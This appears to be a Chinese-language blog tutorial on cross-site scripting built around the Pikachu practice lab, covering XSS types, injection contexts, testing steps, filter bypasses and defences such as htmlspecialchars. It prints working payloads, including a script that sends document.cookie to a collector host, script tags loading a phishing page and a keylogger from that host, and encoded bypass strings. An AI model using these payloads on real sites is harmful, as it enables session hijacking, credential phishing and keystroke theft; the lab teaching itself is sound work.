独家分享:跨站脚本攻击XSS详解

Posted 大白Tang

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了独家分享:跨站脚本攻击XSS详解相关的知识,希望对你有一定的参考价值。

跨站脚本攻击概念介绍

XSS全称(Cross Site Scripting)跨站脚本攻击,是最常见的Web应用程序安全漏洞之一,位于OWASP top 10 2013/2017年度分别为第三名和第七名,XSS是指攻击者在网页中嵌入客户端脚本,通常是javascript编写的危险代码(payload),当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。

从上面中的一段话,可以得知,XSS属于客户端攻击,受害者最终是用户,但特别要注意的是网站管理人员也属于用户之一。这就意味着XSS可以进行“服务端”攻击,因为管理员要比普通用户的权限大得多,一般管理员都可以对网站进行文件管理,数据管理等操作,而攻击者一般也是靠管理员身份作为“跳板”进行实施攻击。

XSS攻击最终目的是在网页中嵌入客户端恶意脚本代码, 最常用的攻击代码是javascript语言,但也会使用其它的脚本语言,例如:ActionScriptVBscript。而如今的互联网客户端脚本基本是基于Javascript, 所以如果想要深入研究XSS,必须要精通Javascript

XSS换句话说,JavaScript能做到什么效果,XSS的胃口就有多大。这完全不是危言耸听。javascript可以用来获取用户的cookie,弹出窗口,那么存在XSS漏洞的网站,XSS就可以用来盗取用户Cookie, 废掉页面,导航到恶意网站!更高端的XSS代码完全可以进行监控你的键盘操作,模仿Windows注销界面,诱导你输入开机密码!而攻击者需要做的仅仅是向你的代码中注入Javascript代码!

xss跨站漏洞产生原理,危害,特点:
本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本等。

跨站脚本攻击产生原因

程序对输入和输出的控制不够严格, 导致"精心构造“的脚本输入后, 在输到前端时被浏览器当作有效代码解析执行从而产生危害。
简单的页面测试:http://192.168.100.54/pikachu/

‘”><script>alert(123456) </script>

源网页代码信息
$html='';
if(isset($_GET['submit']))
    if(empty($_GET['message']))
        $html.="<p class='notice'>输入'kobe'试试-_-</p>";
    else
        if($_GET['message']=='kobe')
            $html.="<p class='notice'>愿你和$_GET['message']一样,永远年轻,永远热血沸腾!</p><img src='$PIKA_ROOT_DIRassets/images/nbaplayer/kobe.png' />";
        else
            $html.="<p class='notice'>who is $_GET['message'],i don't care!</p>";
        
    

跨站脚本攻击造成危害

  • 首先对于那些半年没有更新的小企业网站来说,发生XSS漏洞几乎没有什么用。一般在各类的社交平台,邮件系统,开源流行的Web应用,BBS,微博等场景中,造成的杀伤力却十分强大。

  • 劫持用户cookie是最常见的跨站攻击形式,通过在网页中写入并执行脚本文件(多数情况下是JavaScript脚本代码),劫持用户浏览器,将用户当前使用的sessionID信息发送至攻击者控制的网站或服务器中。

  • “框架钓鱼”。利用JS脚本的基本功能之一:操作网页中的DOM树结构和内容,在网页中通过JS脚本,生成虚假的页面,欺骗用户执行操作,而用户所有的输入内容都会被发送到攻击者的服务器上。

  • 挂马(水坑攻击)

  • 有局限性的键盘记录

跨站脚本攻击分类介绍

反射型XSS或不持久型XSS(中危漏洞)

交互的数据一般不会被存在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。

如果一个应用程序使用动态页面向用户显示错误消息,就会造成一种常见的XSS漏洞。通常,该页面会使用一个包含消息文本的参数,并在响应中将这个文本返回给用户。

<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
?>。

存储性XSS或持久型XSS(高危漏洞)

交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性。

DOM XSS(低危漏洞/中危漏洞)

不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞。

什么是DOM:DOM全称是Document Object Model,也就是文档对象模型。我们可以将DOM理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式。当创建好一个页面并加载到浏览器时,DOM就悄然而生,它会把网页文档转换为一个文档对象,主要功能是处理网页内容。故可以使用 Javascript 语言来操作DOM以达到操作网页的目的。

http://www.w3school.com.cn/htmldom/index.asp

<a href='"+str+"'>what do you see?</a>
<a href='#' onclick="alert(1111)">what do you see?</a>
<a href='#' onclick="alert(2222)">what do you see?</a>

源代码示例信息:
<script>
  function domxss()
  var str = document.getElementById("text").value;
  document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
  
  //试试:'><img src="#" οnmοuseοver="alert('xss')">
  //试试:' οnclick="alert('xss')">,闭合掉就行
</script>

跨站脚本攻击存在地方

  • HTML context

在HTML代码中包含相应xss漏洞代码信息:

<p>
Hello Untrusted Data 变量=值(payload)
</p>

<p>
Hello <script>alert(“xss”)</script>
</p>
  • Attribute Context

在对象属性代码中包含相应xss漏洞代码信息:

<img src =”image.png”alt=”Untruted Data”>
<input type =”text”value=”Untruted Data”>
<body οnlοad=”Untruted Data”>

<img src =”image.png”alt=””οnlοad=alert(“xss”) x=””>
<input type =”text”value=”” οnfοcus=alert(“xss”) autofocus x=””>
<body οnlοad=”javascript:alert(1)”>


<svg οnlοad=alert(0)


'><svg οnlοad='alert(0)


"><svg οnlοad="alert(0)

  • URL Context

在URL地址内容中包含相应xss漏洞代码信息:

<iframe src=Untrusted Data>
<a href=””>Link</a>
<META http-equiv=”refresh”content=5;URL=Untrused Data>

<iframe src=”javascript:alert(1)>
<a href=”data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3N=>Link</a>
<META http-equiv=”refresh”content=5;URL= data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3N=>






  • Style Context
<img style=Untrusted Data”src=”image.png” >
<style>
Untrusted Data
</style>

<img style=”xss:expression(alert(‘xss’))”src=”image.png” >
<style>
bodywidth:expression(alert(1))
</style>



bodyxss:expression(alert(0)),这是一个死循环,放入IE就会卡死,在虚拟机测试


expression(alert(0)),这是一个死循环,放入IE就会卡死,在虚拟机测试

  • Script Context
<body οnlοad=”javascript:Untrusted Data” >
<script>
var x=’Untrusted Data’;
</script>

<body οnlοad=”javascript: prompt(‘xss’)” >
<script>
var x=’’; alert(1);//
</script>


1;alert(0);//


1";alert(0);//

跨站脚本攻击测试方法

  • 工具扫描:APPscan、AWVS
  • 手工测试:Burpsuite、firefox(hackbar)、XSSER XSSF(0kee.360.cn/domXss)

使用手工检测Web应用程序是否存在XSS漏洞时,最重要的是考虑那里有输入,输入的数据在什么地方输出。在进行手工检测XSS时,人毕竟不像软件那样不知疲惫,所以一定要选择有特殊意义的字符,这样可以快速测试是否存在XSS。

  1. 在目标站点上找到输入点,比如查询接口,留言板等;
  2. 输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;
  3. 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

跨站脚本攻击实战演示

xss平台搭建及后台使用(cookie获取)

利用xss反射型(get)漏洞攻击进行展示
<script>document.location = 
'http://192.168.110.22/pikachu/pkxss/xcookie/cookie.php?cookie=' + 
document.cookie;</script>

//通过document.location 实例进行重定向到
http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=

反射型XSS(POST)获取用户密码

post攻击利用页面(D:\\phpStudy\\WWW\\pikachu\\pkxss\\xcookie\\post.html)

利用xss反射型(post)漏洞攻击进行展示
http://192.168.110.23:8080/post.html

xss钓鱼攻击过程演示

钓鱼攻击利用页面(D:\\phpStudy\\WWW\\pikachu\\pkxss\\xfish)

利用xss存储型漏洞攻击进行展示
<script src="http://192.168.110.22/pikachu/pkxss/xfish/fish.php"></script>

相关需要关注的文件信息:
http://192.168.110.22/pikachu/pkxss/xfish/fish.php
http://192.168.110.22/pikachu/pkxss/xfish/xfish.php

xss获取用户键盘记录

1)什么是跨域

http://  www.   baidu.com  :80 /   news/index.php  -- url地址
协议    子域名  主域名      端口    资源地址

http://www.heqing.com:80/test/info.html
http://bbs.heqing.com:80/test/info.html		-- 与上面比较是不同域
https://www.heqing.com:80/test/info.html		-- 与上面比较是不同域
http://www.heqing.com:8080/test/info.html		-- 与上面比较是不同域
http://www.heqing.com:80/test/test.html      	-- 与上面比较属于同域

当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。

2)同源策略
为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象

http://www.heqing.com/index.php
http://bbs.heqing.com/index.php

那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。

下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的

<script src="...">  	//加载
<img src="...">  		//图片
<link href="...">  	//css
<iframe src="...">  	//任意资源

3)同源策略修改
D:\\phpStudy\\WWW\\pikachu\\pkxss\\rkeypress\\rkserver.php
同之前的案例到后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问。

4)rk.js关键代码解读

/pikachu/pkxss/rkeypress/rk.js 查看文件信息
var realkey = String.fromCharCode(event.keyCode);  //获取用户键盘记录,最后转化为字符串
xl+=realkey;   		//赋值给x1
show();    			//调用show涵数,通过下面ajax进行post发送键盘记录人内容

输入设置好的恶意JS代码:

<script src="http://192.168.110.22/pikachu/pkxss/rkeypress/rk.js"></script>

然后在键盘上随意输入,就可以到xss平台上去查看键盘输入的结果

XSS跨站脚本攻击盲打

XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的。

管理员后台:http://192.168.110.22/pikachu/vul/xss/xssblind/admin_login.php

用户名:admin 密码信息:123456

跨站脚本攻击绕过方法

大多数网站为了避免xss的攻击,对于攻击者的输入都采取了过滤的措施,导致攻击者通常不能正常插入恶意代码来达到攻击目的。但是仍存在一些漏洞可以利用,来绕过过滤措施。

xss绕过的方法有许多,主要取决于攻击者的思路和对前端技术的掌握,以下介绍几个简单的绕过方法。

  • 1.对前端的限制可以尝试进行抓包重发或者修改前端的HTML。
  • 2.防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。
例:<sCRipT>alert('你打篮球像test')</sCrIPt>
  • 3.防止后台对输入的内容进行替换,采用拼拼凑的输入方法。
例:<sc<script>ript>alert('你打篮球像test')</scr<script>ipt>
  • 4.使用注释来干扰后台对输入内容的识别。
例:<sc<!--test-->ript>alert('你打篮球像test')</scr<!--tshauie-->ipt>
  • 5.编码
    思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,浏览器对改编码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)
例:使用事件属性onerror(): <img src=# οnerrοr="alert('test')"/>
使用HTML进行编码: 
<img src=x οnerrοr="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x68;&#x65;&#x71;&#x69;&#x6e;&#x67;&#x27;&#x29;"/>

跨站脚本攻击防止绕过(函数)

htmlspecialchars()函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:

 该函数的语法:](https://img-blog.csdnimg.cn/20210708195652114.png)

htmlspecialchars(string,flags,character-set,double_encode)
用法参考链接:
https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

可用的quotestyle类型:
ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
可使用以下语句绕过: q' onclick='alert(111)'

跨站脚本攻击常规防范

XSS防御的总体思路是:对输入进行过滤,对输出进行编码

  • 过滤:
    根据业务需求进行过滤,比如输出点要求输入手机号,则只允许输入手机号格式的数字。
  • 转义:
    所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行JS转义()

xss之href输出绕过:javascript:alert(1111) 直接代入a标签herf里面一样可以绕过htmlspecialchars

xss之js输出绕过:

<script>
    $ms='11'</script><script>alert(1111)</script> ;
    if($ms.length != 0)
        if($ms == 'tmac')
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        else 
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        

    
</script>

以上是关于独家分享:跨站脚本攻击XSS详解的主要内容,如果未能解决你的问题,请参考以下文章

独家分享:跨站脚本攻击XSS详解

独家分享:跨站脚本攻击XSS详解

XSS(跨站脚本攻击)详解 (上)

XSS跨站脚本攻击详解(包括攻击方式和防御方式)

XSS跨站脚本攻击详解(包括攻击方式和防御方式)

XSS跨站脚本攻击详解(包括攻击方式和防御方式)